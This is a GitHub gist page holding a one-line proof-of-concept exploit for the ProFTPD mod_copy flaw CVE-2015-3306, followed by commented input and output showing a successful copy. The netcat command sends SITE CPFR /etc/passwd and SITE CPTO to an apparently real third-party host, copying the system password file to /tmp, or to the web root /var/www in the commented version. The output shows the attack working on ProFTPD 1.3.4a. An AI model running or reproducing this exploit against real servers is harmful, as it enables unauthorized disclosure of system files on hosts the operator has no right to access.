Skip to content

Instantly share code, notes, and snippets.

@toufik-airane

toufik-airane/3306.sh

Last active October 30, 2016 18:30
Show Gist options
  • Save toufik-airane/e13dc2b15d64cac9cd52 to your computer and use it in GitHub Desktop.
Save toufik-airane/e13dc2b15d64cac9cd52 to your computer and use it in GitHub Desktop.
Download ZIP
CVE-2015-3306
Raw
3306.sh
# ProFTPD mod_copy Information Disclosure CVE-2015-3306
echo -e "SITE CPFR /etc/passwd\r\nSITE CPTO /tmp/passwd.tmp\r\nQUIT\r\n" | netcat cpc-prod11.canardpc.com 21
~> INPUT
#SITE CPFR /etc/passwd
#SITE CPTO /var/www/passwd.tmp
#QUIT
~> OUTPUT
#220 ProFTPD 1.3.4a Server (Debian)
#350 File or directory exists, ready for destination name
#250 Copy successful
#221 Goodbye. :)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment